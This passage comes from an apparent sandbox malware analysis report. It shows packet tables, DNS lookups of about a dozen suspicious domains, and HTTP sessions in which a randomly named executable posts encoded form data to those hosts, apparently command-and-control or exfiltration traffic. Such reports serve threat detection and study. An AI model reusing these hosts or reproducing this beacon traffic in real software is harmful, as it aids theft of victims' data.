Dec 10, 2024 16:27:07.551836967 CET	50016	80	192.168.2.5	31.31.198.145
Dec 10, 2024 16:27:07.552292109 CET	80	50016	31.31.198.145	192.168.2.5
Dec 10, 2024 16:27:07.552304029 CET	80	50016	31.31.198.145	192.168.2.5
Dec 10, 2024 16:27:07.552323103 CET	80	50016	31.31.198.145	192.168.2.5
Dec 10, 2024 16:27:07.552331924 CET	80	50016	31.31.198.145	192.168.2.5
Dec 10, 2024 16:27:07.552352905 CET	50016	80	192.168.2.5	31.31.198.145
Dec 10, 2024 16:27:07.552385092 CET	50016	80	192.168.2.5	31.31.198.145
Dec 10, 2024 16:27:07.552869081 CET	80	50016	31.31.198.145	192.168.2.5
Dec 10, 2024 16:27:07.552918911 CET	50016	80	192.168.2.5	31.31.198.145
Dec 10, 2024 16:27:07.671237946 CET	80	50016	31.31.198.145	192.168.2.5
Dec 10, 2024 16:27:07.671545982 CET	80	50016	31.31.198.145	192.168.2.5
Dec 10, 2024 16:27:07.671612978 CET	50016	80	192.168.2.5	31.31.198.145
Dec 10, 2024 16:27:07.675440073 CET	80	50016	31.31.198.145	192.168.2.5
Dec 10, 2024 16:27:07.675539970 CET	80	50016	31.31.198.145	192.168.2.5
Dec 10, 2024 16:27:07.675585032 CET	50016	80	192.168.2.5	31.31.198.145
Dec 10, 2024 16:27:07.683964014 CET	80	50016	31.31.198.145	192.168.2.5
Dec 10, 2024 16:27:07.738801003 CET	50016	80	192.168.2.5	31.31.198.145
Dec 10, 2024 16:27:07.743299961 CET	80	50016	31.31.198.145	192.168.2.5
Dec 10, 2024 16:27:07.743546009 CET	80	50016	31.31.198.145	192.168.2.5
Dec 10, 2024 16:27:07.743838072 CET	50016	80	192.168.2.5	31.31.198.145
Dec 10, 2024 16:27:07.747370005 CET	80	50016	31.31.198.145	192.168.2.5
Dec 10, 2024 16:27:07.747486115 CET	80	50016	31.31.198.145	192.168.2.5
Dec 10, 2024 16:27:07.747663975 CET	50016	80	192.168.2.5	31.31.198.145
Dec 10, 2024 16:27:07.755827904 CET	80	50016	31.31.198.145	192.168.2.5
Dec 10, 2024 16:27:07.758903980 CET	80	50016	31.31.198.145	192.168.2.5
Dec 10, 2024 16:27:07.758972883 CET	50016	80	192.168.2.5	31.31.198.145
Dec 10, 2024 16:27:07.758989096 CET	80	50016	31.31.198.145	192.168.2.5
Dec 10, 2024 16:27:07.767689943 CET	80	50016	31.31.198.145	192.168.2.5
Dec 10, 2024 16:27:07.767759085 CET	50016	80	192.168.2.5	31.31.198.145
Dec 10, 2024 16:27:07.767864943 CET	80	50016	31.31.198.145	192.168.2.5
Dec 10, 2024 16:27:07.775847912 CET	80	50016	31.31.198.145	192.168.2.5
Dec 10, 2024 16:27:07.775908947 CET	50016	80	192.168.2.5	31.31.198.145
Dec 10, 2024 16:27:07.776000977 CET	80	50016	31.31.198.145	192.168.2.5
Dec 10, 2024 16:27:07.784358025 CET	80	50016	31.31.198.145	192.168.2.5
Dec 10, 2024 16:27:07.784425974 CET	50016	80	192.168.2.5	31.31.198.145
Dec 10, 2024 16:27:07.784440041 CET	80	50016	31.31.198.145	192.168.2.5
Dec 10, 2024 16:27:07.792778015 CET	80	50016	31.31.198.145	192.168.2.5
Dec 10, 2024 16:27:07.792856932 CET	50016	80	192.168.2.5	31.31.198.145
Dec 10, 2024 16:27:07.792911053 CET	80	50016	31.31.198.145	192.168.2.5
Dec 10, 2024 16:27:07.801296949 CET	80	50016	31.31.198.145	192.168.2.5
Dec 10, 2024 16:27:07.801373959 CET	50016	80	192.168.2.5	31.31.198.145
Dec 10, 2024 16:27:07.801413059 CET	80	50016	31.31.198.145	192.168.2.5
Dec 10, 2024 16:27:07.809751987 CET	80	50016	31.31.198.145	192.168.2.5
Dec 10, 2024 16:27:07.809797049 CET	80	50016	31.31.198.145	192.168.2.5
Dec 10, 2024 16:27:07.809823990 CET	50016	80	192.168.2.5	31.31.198.145
Dec 10, 2024 16:27:07.818186045 CET	80	50016	31.31.198.145	192.168.2.5
Dec 10, 2024 16:27:07.818326950 CET	80	50016	31.31.198.145	192.168.2.5
Dec 10, 2024 16:27:07.818418026 CET	50016	80	192.168.2.5	31.31.198.145
Dec 10, 2024 16:27:07.826189995 CET	80	50016	31.31.198.145	192.168.2.5
Dec 10, 2024 16:27:07.826255083 CET	50016	80	192.168.2.5	31.31.198.145
Dec 10, 2024 16:27:07.826302052 CET	80	50016	31.31.198.145	192.168.2.5
Dec 10, 2024 16:27:07.858206034 CET	80	50016	31.31.198.145	192.168.2.5
Dec 10, 2024 16:27:07.858278990 CET	50016	80	192.168.2.5	31.31.198.145
Dec 10, 2024 16:27:07.981132984 CET	80	50016	31.31.198.145	192.168.2.5
Dec 10, 2024 16:27:07.981286049 CET	80	50016	31.31.198.145	192.168.2.5
Dec 10, 2024 16:27:07.981359959 CET	50016	80	192.168.2.5	31.31.198.145
Dec 10, 2024 16:27:07.983218908 CET	80	50016	31.31.198.145	192.168.2.5
Dec 10, 2024 16:27:07.983392000 CET	80	50016	31.31.198.145	192.168.2.5
Dec 10, 2024 16:27:07.983591080 CET	50016	80	192.168.2.5	31.31.198.145
Dec 10, 2024 16:27:07.986685991 CET	80	50016	31.31.198.145	192.168.2.5
Dec 10, 2024 16:27:07.986859083 CET	80	50016	31.31.198.145	192.168.2.5
Dec 10, 2024 16:27:07.987003088 CET	50016	80	192.168.2.5	31.31.198.145
Dec 10, 2024 16:27:07.991355896 CET	80	50016	31.31.198.145	192.168.2.5
Dec 10, 2024 16:27:07.991489887 CET	80	50016	31.31.198.145	192.168.2.5
Dec 10, 2024 16:27:07.991556883 CET	50016	80	192.168.2.5	31.31.198.145
Dec 10, 2024 16:27:07.995829105 CET	80	50016	31.31.198.145	192.168.2.5
Dec 10, 2024 16:27:07.995915890 CET	80	50016	31.31.198.145	192.168.2.5
Dec 10, 2024 16:27:07.995981932 CET	50016	80	192.168.2.5	31.31.198.145
Dec 10, 2024 16:27:08.000296116 CET	80	50016	31.31.198.145	192.168.2.5
Dec 10, 2024 16:27:08.000488043 CET	80	50016	31.31.198.145	192.168.2.5
Dec 10, 2024 16:27:08.001897097 CET	50016	80	192.168.2.5	31.31.198.145
Dec 10, 2024 16:27:08.004945993 CET	80	50016	31.31.198.145	192.168.2.5
Dec 10, 2024 16:27:08.005100965 CET	80	50016	31.31.198.145	192.168.2.5
Dec 10, 2024 16:27:08.005153894 CET	50016	80	192.168.2.5	31.31.198.145
Dec 10, 2024 16:27:08.009460926 CET	80	50016	31.31.198.145	192.168.2.5
Dec 10, 2024 16:27:08.009589911 CET	80	50016	31.31.198.145	192.168.2.5
Dec 10, 2024 16:27:08.009717941 CET	50016	80	192.168.2.5	31.31.198.145
Dec 10, 2024 16:27:08.014067888 CET	80	50016	31.31.198.145	192.168.2.5
Dec 10, 2024 16:27:08.014381886 CET	80	50016	31.31.198.145	192.168.2.5
Dec 10, 2024 16:27:08.014431953 CET	50016	80	192.168.2.5	31.31.198.145
Dec 10, 2024 16:27:08.018527031 CET	80	50016	31.31.198.145	192.168.2.5
Dec 10, 2024 16:27:08.018660069 CET	80	50016	31.31.198.145	192.168.2.5
Dec 10, 2024 16:27:08.018707037 CET	50016	80	192.168.2.5	31.31.198.145
Dec 10, 2024 16:27:08.023117065 CET	80	50016	31.31.198.145	192.168.2.5
Dec 10, 2024 16:27:08.023977995 CET	50016	80	192.168.2.5	31.31.198.145

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Dec 10, 2024 16:23:42.577820063 CET	62208	53	192.168.2.5	1.1.1.1
Dec 10, 2024 16:23:43.233179092 CET	53	62208	1.1.1.1	192.168.2.5
Dec 10, 2024 16:23:59.553280115 CET	54506	53	192.168.2.5	1.1.1.1
Dec 10, 2024 16:23:59.872495890 CET	53	54506	1.1.1.1	192.168.2.5
Dec 10, 2024 16:24:14.636581898 CET	59727	53	192.168.2.5	1.1.1.1
Dec 10, 2024 16:24:15.087203026 CET	53	59727	1.1.1.1	192.168.2.5
Dec 10, 2024 16:24:29.445977926 CET	64340	53	192.168.2.5	1.1.1.1
Dec 10, 2024 16:24:30.442056894 CET	64340	53	192.168.2.5	1.1.1.1
Dec 10, 2024 16:24:30.498300076 CET	53	64340	1.1.1.1	192.168.2.5
Dec 10, 2024 16:24:30.580530882 CET	53	64340	1.1.1.1	192.168.2.5
Dec 10, 2024 16:24:44.962354898 CET	58576	53	192.168.2.5	1.1.1.1
Dec 10, 2024 16:24:45.915019989 CET	53	58576	1.1.1.1	192.168.2.5
Dec 10, 2024 16:25:00.179809093 CET	50386	53	192.168.2.5	1.1.1.1
Dec 10, 2024 16:25:00.687053919 CET	53	50386	1.1.1.1	192.168.2.5
Dec 10, 2024 16:25:24.214154005 CET	65281	53	192.168.2.5	1.1.1.1
Dec 10, 2024 16:25:24.654818058 CET	53	65281	1.1.1.1	192.168.2.5
Dec 10, 2024 16:25:45.806879044 CET	64408	53	192.168.2.5	1.1.1.1
Dec 10, 2024 16:25:46.820292950 CET	64408	53	192.168.2.5	1.1.1.1
Dec 10, 2024 16:25:46.917283058 CET	53	64408	1.1.1.1	192.168.2.5
Dec 10, 2024 16:25:46.958142996 CET	53	64408	1.1.1.1	192.168.2.5
Dec 10, 2024 16:26:01.571108103 CET	64321	53	192.168.2.5	1.1.1.1
Dec 10, 2024 16:26:02.582622051 CET	64321	53	192.168.2.5	1.1.1.1
Dec 10, 2024 16:26:03.294172049 CET	53	64321	1.1.1.1	192.168.2.5
Dec 10, 2024 16:26:03.294214964 CET	53	64321	1.1.1.1	192.168.2.5
Dec 10, 2024 16:26:17.524209976 CET	62032	53	192.168.2.5	1.1.1.1
Dec 10, 2024 16:26:18.279344082 CET	53	62032	1.1.1.1	192.168.2.5
Dec 10, 2024 16:26:37.900413990 CET	62506	53	192.168.2.5	1.1.1.1
Dec 10, 2024 16:26:38.895178080 CET	62506	53	192.168.2.5	1.1.1.1
Dec 10, 2024 16:26:39.021040916 CET	53	62506	1.1.1.1	192.168.2.5
Dec 10, 2024 16:26:39.032732010 CET	53	62506	1.1.1.1	192.168.2.5
Dec 10, 2024 16:26:53.352015972 CET	50987	53	192.168.2.5	1.1.1.1
Dec 10, 2024 16:26:53.759470940 CET	53	50987	1.1.1.1	192.168.2.5
Dec 10, 2024 16:27:01.856993914 CET	63530	53	192.168.2.5	1.1.1.1
Dec 10, 2024 16:27:02.340205908 CET	53	63530	1.1.1.1	192.168.2.5

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Dec 10, 2024 16:23:42.577820063 CET	192.168.2.5	1.1.1.1	0xb5e6	Standard query (0)	www.regents.health	A (IP address)	IN (0x0001)	false
Dec 10, 2024 16:23:59.553280115 CET	192.168.2.5	1.1.1.1	0x655c	Standard query (0)	www.73613.shop	A (IP address)	IN (0x0001)	false
Dec 10, 2024 16:24:14.636581898 CET	192.168.2.5	1.1.1.1	0x5786	Standard query (0)	www.eco-tops.website	A (IP address)	IN (0x0001)	false
Dec 10, 2024 16:24:29.445977926 CET	192.168.2.5	1.1.1.1	0x3ab2	Standard query (0)	www.astrext.info	A (IP address)	IN (0x0001)	false
Dec 10, 2024 16:24:30.442056894 CET	192.168.2.5	1.1.1.1	0x3ab2	Standard query (0)	www.astrext.info	A (IP address)	IN (0x0001)	false
Dec 10, 2024 16:24:44.962354898 CET	192.168.2.5	1.1.1.1	0x7c74	Standard query (0)	www.newhopetoday.app	A (IP address)	IN (0x0001)	false
Dec 10, 2024 16:25:00.179809093 CET	192.168.2.5	1.1.1.1	0xc531	Standard query (0)	www.binacamasala.com	A (IP address)	IN (0x0001)	false
Dec 10, 2024 16:25:24.214154005 CET	192.168.2.5	1.1.1.1	0x85d5	Standard query (0)	www.dlion.net	A (IP address)	IN (0x0001)	false
Dec 10, 2024 16:25:45.806879044 CET	192.168.2.5	1.1.1.1	0xb58a	Standard query (0)	www.bioart.buzz	A (IP address)	IN (0x0001)	false
Dec 10, 2024 16:25:46.820292950 CET	192.168.2.5	1.1.1.1	0xb58a	Standard query (0)	www.bioart.buzz	A (IP address)	IN (0x0001)	false
Dec 10, 2024 16:26:01.571108103 CET	192.168.2.5	1.1.1.1	0xbd32	Standard query (0)	www.06753.photo	A (IP address)	IN (0x0001)	false
Dec 10, 2024 16:26:02.582622051 CET	192.168.2.5	1.1.1.1	0xbd32	Standard query (0)	www.06753.photo	A (IP address)	IN (0x0001)	false
Dec 10, 2024 16:26:17.524209976 CET	192.168.2.5	1.1.1.1	0xba33	Standard query (0)	www.gucciqueen.shop	A (IP address)	IN (0x0001)	false
Dec 10, 2024 16:26:37.900413990 CET	192.168.2.5	1.1.1.1	0xfd12	Standard query (0)	www.premium303max.rest	A (IP address)	IN (0x0001)	false
Dec 10, 2024 16:26:38.895178080 CET	192.168.2.5	1.1.1.1	0xfd12	Standard query (0)	www.premium303max.rest	A (IP address)	IN (0x0001)	false
Dec 10, 2024 16:26:53.352015972 CET	192.168.2.5	1.1.1.1	0xed9a	Standard query (0)	www.mnpl.online	A (IP address)	IN (0x0001)	false
Dec 10, 2024 16:27:01.856993914 CET	192.168.2.5	1.1.1.1	0xc51e	Standard query (0)	www.locuramagica.online	A (IP address)	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class	DNS over HTTPS
Dec 10, 2024 16:23:43.233179092 CET	1.1.1.1	192.168.2.5	0xb5e6	No error (0)	www.regents.health	regents.health		CNAME (Canonical name)	IN (0x0001)	false
Dec 10, 2024 16:23:43.233179092 CET	1.1.1.1	192.168.2.5	0xb5e6	No error (0)	regents.health		3.33.130.190	A (IP address)	IN (0x0001)	false
Dec 10, 2024 16:23:43.233179092 CET	1.1.1.1	192.168.2.5	0xb5e6	No error (0)	regents.health		15.197.148.33	A (IP address)	IN (0x0001)	false
Dec 10, 2024 16:23:59.872495890 CET	1.1.1.1	192.168.2.5	0x655c	No error (0)	www.73613.shop		180.178.39.236	A (IP address)	IN (0x0001)	false
Dec 10, 2024 16:23:59.872495890 CET	1.1.1.1	192.168.2.5	0x655c	No error (0)	www.73613.shop		180.178.39.235	A (IP address)	IN (0x0001)	false
Dec 10, 2024 16:23:59.872495890 CET	1.1.1.1	192.168.2.5	0x655c	No error (0)	www.73613.shop		180.178.39.237	A (IP address)	IN (0x0001)	false
Dec 10, 2024 16:23:59.872495890 CET	1.1.1.1	192.168.2.5	0x655c	No error (0)	www.73613.shop		180.178.39.238	A (IP address)	IN (0x0001)	false
Dec 10, 2024 16:24:15.087203026 CET	1.1.1.1	192.168.2.5	0x5786	No error (0)	www.eco-tops.website		203.161.49.193	A (IP address)	IN (0x0001)	false
Dec 10, 2024 16:24:30.498300076 CET	1.1.1.1	192.168.2.5	0x3ab2	No error (0)	www.astrext.info		217.160.0.132	A (IP address)	IN (0x0001)	false
Dec 10, 2024 16:24:30.580530882 CET	1.1.1.1	192.168.2.5	0x3ab2	No error (0)	www.astrext.info		217.160.0.132	A (IP address)	IN (0x0001)	false
Dec 10, 2024 16:24:45.915019989 CET	1.1.1.1	192.168.2.5	0x7c74	No error (0)	www.newhopetoday.app		216.40.34.41	A (IP address)	IN (0x0001)	false
Dec 10, 2024 16:25:00.687053919 CET	1.1.1.1	192.168.2.5	0xc531	No error (0)	www.binacamasala.com	binacamasala.com		CNAME (Canonical name)	IN (0x0001)	false
Dec 10, 2024 16:25:00.687053919 CET	1.1.1.1	192.168.2.5	0xc531	No error (0)	binacamasala.com		3.33.130.190	A (IP address)	IN (0x0001)	false
Dec 10, 2024 16:25:00.687053919 CET	1.1.1.1	192.168.2.5	0xc531	No error (0)	binacamasala.com		15.197.148.33	A (IP address)	IN (0x0001)	false
Dec 10, 2024 16:25:24.654818058 CET	1.1.1.1	192.168.2.5	0x85d5	No error (0)	www.dlion.net	dlion.net		CNAME (Canonical name)	IN (0x0001)	false
Dec 10, 2024 16:25:24.654818058 CET	1.1.1.1	192.168.2.5	0x85d5	No error (0)	dlion.net		46.38.243.234	A (IP address)	IN (0x0001)	false
Dec 10, 2024 16:25:46.917283058 CET	1.1.1.1	192.168.2.5	0xb58a	No error (0)	www.bioart.buzz	cn-hk2.rvh2.raincs.cn		CNAME (Canonical name)	IN (0x0001)	false
Dec 10, 2024 16:25:46.917283058 CET	1.1.1.1	192.168.2.5	0xb58a	No error (0)	cn-hk2.rvh2.raincs.cn		74.48.34.43	A (IP address)	IN (0x0001)	false
Dec 10, 2024 16:25:46.958142996 CET	1.1.1.1	192.168.2.5	0xb58a	No error (0)	www.bioart.buzz	cn-hk2.rvh2.raincs.cn		CNAME (Canonical name)	IN (0x0001)	false
Dec 10, 2024 16:25:46.958142996 CET	1.1.1.1	192.168.2.5	0xb58a	No error (0)	cn-hk2.rvh2.raincs.cn		74.48.34.43	A (IP address)	IN (0x0001)	false
Dec 10, 2024 16:26:03.294172049 CET	1.1.1.1	192.168.2.5	0xbd32	No error (0)	www.06753.photo	uaslkd.skasdhu.huhusddfnsuegcdn.com		CNAME (Canonical name)	IN (0x0001)	false
Dec 10, 2024 16:26:03.294172049 CET	1.1.1.1	192.168.2.5	0xbd32	No error (0)	uaslkd.skasdhu.huhusddfnsuegcdn.com	gtml.huksa.huhusddfnsuegcdn.com		CNAME (Canonical name)	IN (0x0001)	false
Dec 10, 2024 16:26:03.294172049 CET	1.1.1.1	192.168.2.5	0xbd32	No error (0)	gtml.huksa.huhusddfnsuegcdn.com		23.167.152.41	A (IP address)	IN (0x0001)	false
Dec 10, 2024 16:26:03.294214964 CET	1.1.1.1	192.168.2.5	0xbd32	No error (0)	www.06753.photo	uaslkd.skasdhu.huhusddfnsuegcdn.com		CNAME (Canonical name)	IN (0x0001)	false
Dec 10, 2024 16:26:03.294214964 CET	1.1.1.1	192.168.2.5	0xbd32	No error (0)	uaslkd.skasdhu.huhusddfnsuegcdn.com	gtml.huksa.huhusddfnsuegcdn.com		CNAME (Canonical name)	IN (0x0001)	false
Dec 10, 2024 16:26:03.294214964 CET	1.1.1.1	192.168.2.5	0xbd32	No error (0)	gtml.huksa.huhusddfnsuegcdn.com		23.167.152.41	A (IP address)	IN (0x0001)	false
Dec 10, 2024 16:26:18.279344082 CET	1.1.1.1	192.168.2.5	0xba33	No error (0)	www.gucciqueen.shop	gucciqueen.shop		CNAME (Canonical name)	IN (0x0001)	false
Dec 10, 2024 16:26:18.279344082 CET	1.1.1.1	192.168.2.5	0xba33	No error (0)	gucciqueen.shop		178.79.184.196	A (IP address)	IN (0x0001)	false
Dec 10, 2024 16:26:39.021040916 CET	1.1.1.1	192.168.2.5	0xfd12	No error (0)	www.premium303max.rest		45.79.252.94	A (IP address)	IN (0x0001)	false
Dec 10, 2024 16:26:39.032732010 CET	1.1.1.1	192.168.2.5	0xfd12	No error (0)	www.premium303max.rest		45.79.252.94	A (IP address)	IN (0x0001)	false
Dec 10, 2024 16:26:53.759470940 CET	1.1.1.1	192.168.2.5	0xed9a	Name error (3)	www.mnpl.online	none	none	A (IP address)	IN (0x0001)	false
Dec 10, 2024 16:27:02.340205908 CET	1.1.1.1	192.168.2.5	0xc51e	No error (0)	www.locuramagica.online		31.31.198.145	A (IP address)	IN (0x0001)	false

HTTP Request Dependency Graph

www.regents.health

www.73613.shop

www.eco-tops.website

www.astrext.info

www.newhopetoday.app

www.binacamasala.com

www.dlion.net

www.bioart.buzz

www.06753.photo

www.gucciqueen.shop

www.premium303max.rest

www.locuramagica.online

HTTP Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.5	49757	3.33.130.190	80	1400	C:\Program Files (x86)\qIZQqGQYNpAAyCSBbTrFRZEGXhIYhVuEnpOBfTEdxpgYSrDFPPC\fQbMdgFgKkVEm.exe

Timestamp	Bytes transferred	Direction	Data
Dec 10, 2024 16:23:43.367466927 CET	534	OUT	GET /q97g/?UTJ0bhC=KK21uW0xHvorSk2vqcKD6wcSSPO+hyXQDk2L0YWF9dCKmUutgv1vRlzTvSsha0PsjgX1XZeK5J0dHVwIQm2B9BwzLeItohU7wCU4mTfCSECcS++9DVG9zxqTCFVXtteVmg==&Pt=fDlHoNWP0RBd HTTP/1.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Language: en-US Host: www.regents.health Connection: close User-Agent: Mozilla/5.0 (Linux; Android 5.0; SM-G900R4 Build/LRX21T) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/44.0.2403.133 Mobile Safari/537.36
Dec 10, 2024 16:23:49.466730118 CET	392	IN	HTTP/1.1 200 OK content-type: text/html date: Tue, 10 Dec 2024 15:23:49 GMT content-length: 271 connection: close Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 73 63 72 69 70 74 3e 77 69 6e 64 6f 77 2e 6f 6e 6c 6f 61 64 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 77 69 6e 64 6f 77 2e 6c 6f 63 61 74 69 6f 6e 2e 68 72 65 66 3d 22 2f 6c 61 6e 64 65 72 3f 55 54 4a 30 62 68 43 3d 4b 4b 32 31 75 57 30 78 48 76 6f 72 53 6b 32 76 71 63 4b 44 36 77 63 53 53 50 4f 2b 68 79 58 51 44 6b 32 4c 30 59 57 46 39 64 43 4b 6d 55 75 74 67 76 31 76 52 6c 7a 54 76 53 73 68 61 30 50 73 6a 67 58 31 58 5a 65 4b 35 4a 30 64 48 56 77 49 51 6d 32 42 39 42 77 7a 4c 65 49 74 6f 68 55 37 77 43 55 34 6d 54 66 43 53 45 43 63 53 2b 2b 39 44 56 47 39 7a 78 71 54 43 46 56 58 74 74 65 56 6d 67 3d 3d 26 50 74 3d 66 44 6c 48 6f 4e 57 50 30 52 42 64 22 7d 3c 2f 73 63 72 69 70 74 3e 3c 2f 68 65 61 64 3e 3c 2f 68 74 6d 6c 3e Data Ascii: <!DOCTYPE html><html><head><script>window.onload=function(){window.location.href="/lander?UTJ0bhC=KK21uW0xHvorSk2vqcKD6wcSSPO+hyXQDk2L0YWF9dCKmUutgv1vRlzTvSsha0PsjgX1XZeK5J0dHVwIQm2B9BwzLeItohU7wCU4mTfCSECcS++9DVG9zxqTCFVXtteVmg==&Pt=fDlHoNWP0RBd"}</script></head></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.5	49796	180.178.39.236	80	1400	C:\Program Files (x86)\qIZQqGQYNpAAyCSBbTrFRZEGXhIYhVuEnpOBfTEdxpgYSrDFPPC\fQbMdgFgKkVEm.exe

Timestamp	Bytes transferred	Direction	Data
Dec 10, 2024 16:24:00.074867010 CET	779	OUT	POST /tizt/ HTTP/1.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Language: en-US Accept-Encoding: gzip, deflate Host: www.73613.shop Content-Type: application/x-www-form-urlencoded Connection: close Cache-Control: max-age=0 Content-Length: 208 Origin: http://www.73613.shop Referer: http://www.73613.shop/tizt/ User-Agent: Mozilla/5.0 (Linux; Android 5.0; SM-G900R4 Build/LRX21T) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/44.0.2403.133 Mobile Safari/537.36 Data Raw: 55 54 4a 30 62 68 43 3d 6e 6b 4b 65 6c 61 43 64 58 55 64 73 2b 71 4d 38 73 51 7a 30 67 37 68 76 51 79 31 75 45 65 79 45 49 39 75 74 6e 2f 67 59 66 59 41 74 35 50 56 77 42 7a 69 53 62 30 76 6f 4b 6e 36 31 5a 75 33 73 36 75 59 53 6b 6a 2f 7a 34 57 30 68 6f 62 4e 62 31 54 58 61 6f 66 46 74 31 37 2f 34 77 63 6b 65 67 68 6b 4a 36 51 2b 51 65 2f 6e 71 56 53 33 55 48 37 53 71 4d 7a 4f 59 41 71 72 38 74 42 71 76 46 6b 4d 71 4e 4b 75 5a 6f 38 74 64 2f 50 6c 69 6f 45 63 75 70 66 66 47 33 6c 32 63 52 6a 62 46 4b 73 74 6d 64 4a 61 39 72 66 4e 76 56 66 7a 30 5a 64 34 46 70 2f 72 48 5a 4c 63 69 34 45 73 52 52 61 6b 45 73 71 73 3d Data Ascii: UTJ0bhC=nkKelaCdXUds+qM8sQz0g7hvQy1uEeyEI9utn/gYfYAt5PVwBziSb0voKn61Zu3s6uYSkj/z4W0hobNb1TXaofFt17/4wckeghkJ6Q+Qe/nqVS3UH7SqMzOYAqr8tBqvFkMqNKuZo8td/PlioEcupffG3l2cRjbFKstmdJa9rfNvVfz0Zd4Fp/rHZLci4EsRRakEsqs=
Dec 10, 2024 16:24:01.517070055 CET	249	IN	HTTP/1.1 404 Not Found Server: nginx/1.26.2 Date: Tue, 10 Dec 2024 15:24:07 GMT Transfer-Encoding: chunked Connection: close X-Powered-By: 3.2.1 Access-Control-Allow-Origin: * Access-Control-Allow-Methods: PUT,POST,GET,DELETE,OPTIONS Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2	192.168.2.5	49802	180.178.39.236	80	1400	C:\Program Files (x86)\qIZQqGQYNpAAyCSBbTrFRZEGXhIYhVuEnpOBfTEdxpgYSrDFPPC\fQbMdgFgKkVEm.exe

Timestamp	Bytes transferred	Direction	Data
Dec 10, 2024 16:24:02.772902012 CET	799	OUT	POST /tizt/ HTTP/1.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Language: en-US Accept-Encoding: gzip, deflate Host: www.73613.shop Content-Type: application/x-www-form-urlencoded Connection: close Cache-Control: max-age=0 Content-Length: 228 Origin: http://www.73613.shop Referer: http://www.73613.shop/tizt/ User-Agent: Mozilla/5.0 (Linux; Android 5.0; SM-G900R4 Build/LRX21T) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/44.0.2403.133 Mobile Safari/537.36 Data Raw: 55 54 4a 30 62 68 43 3d 6e 6b 4b 65 6c 61 43 64 58 55 64 73 2b 4c 38 38 76 7a 62 30 78 4c 68 6f 4f 43 31 75 4f 2b 79 41 49 39 69 74 6e 2b 6c 46 66 71 55 74 34 74 39 77 41 33 32 53 63 30 76 6f 41 48 36 38 64 75 33 33 36 75 46 76 6b 68 72 7a 34 53 55 68 6f 66 64 62 31 67 50 5a 71 50 46 76 73 72 2f 36 39 38 6b 65 67 68 6b 4a 36 55 57 36 65 2b 50 71 56 6d 4c 55 42 75 6d 74 53 6a 50 71 48 71 72 38 6e 68 71 72 46 6b 4d 59 4e 50 50 2b 6f 2f 56 64 2f 4c 68 69 72 51 49 78 6e 66 66 4d 76 46 33 72 52 7a 47 32 47 50 64 4a 41 70 54 72 31 38 49 4f 64 4a 43 65 44 2f 77 74 36 66 48 2f 4a 59 55 56 70 30 4e 34 4c 35 30 30 79 39 36 4d 49 64 6e 59 7a 32 75 61 6f 39 67 4c 4f 41 6c 47 64 52 48 75 Data Ascii: UTJ0bhC=nkKelaCdXUds+L88vzb0xLhoOC1uO+yAI9itn+lFfqUt4t9wA32Sc0voAH68du336uFvkhrz4SUhofdb1gPZqPFvsr/698keghkJ6UW6e+PqVmLUBumtSjPqHqr8nhqrFkMYNPP+o/Vd/LhirQIxnffMvF3rRzG2GPdJApTr18IOdJCeD/wt6fH/JYUVp0N4L500y96MIdnYz2uao9gLOAlGdRHu
Dec 10, 2024 16:24:04.236289024 CET	249	IN	HTTP/1.1 404 Not Found Server: nginx/1.26.2 Date: Tue, 10 Dec 2024 15:24:10 GMT Transfer-Encoding: chunked Connection: close X-Powered-By: 3.2.1 Access-Control-Allow-Origin: * Access-Control-Allow-Methods: PUT,POST,GET,DELETE,OPTIONS Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
3	192.168.2.5	49808	180.178.39.236	80	1400	C:\Program Files (x86)\qIZQqGQYNpAAyCSBbTrFRZEGXhIYhVuEnpOBfTEdxpgYSrDFPPC\fQbMdgFgKkVEm.exe

Timestamp	Bytes transferred	Direction	Data
Dec 10, 2024 16:24:05.439795971 CET	1816	OUT	POST /tizt/ HTTP/1.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Language: en-US Accept-Encoding: gzip, deflate Host: www.73613.shop Content-Type: application/x-www-form-urlencoded Connection: close Cache-Control: max-age=0 Content-Length: 1244 Origin: http://www.73613.shop Referer: http://www.73613.shop/tizt/ User-Agent: Mozilla/5.0 (Linux; Android 5.0; SM-G900R4 Build/LRX21T) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/44.0.2403.133 Mobile Safari/537.36 Data Raw: 55 54 4a 30 62 68 43 3d 6e 6b 4b 65 6c 61 43 64 58 55 64 73 2b 4c 38 38 76 7a 62 30 78 4c 68 6f 4f 43 31 75 4f 2b 79 41 49 39 69 74 6e 2b 6c 46 66 71 73 74 35 63 64 77 42 57 32 53 64 30 76 6f 4d 6e 36 35 64 75 32 74 36 75 64 72 6b 68 6e 46 34 55 59 68 36 6f 31 62 7a 52 50 5a 6a 50 46 76 6b 4c 2f 35 77 63 6b 58 67 68 30 4e 36 51 79 36 65 2b 50 71 56 6e 62 55 51 37 53 74 51 6a 4f 59 41 71 72 67 74 42 71 54 46 6c 6b 79 4e 50 43 4a 70 4f 31 64 2f 72 78 69 6b 44 77 78 76 66 66 43 73 46 33 7a 52 7a 4b 70 47 50 42 76 41 71 50 53 31 38 41 4f 4d 49 6e 52 66 66 45 4e 68 73 62 36 44 5a 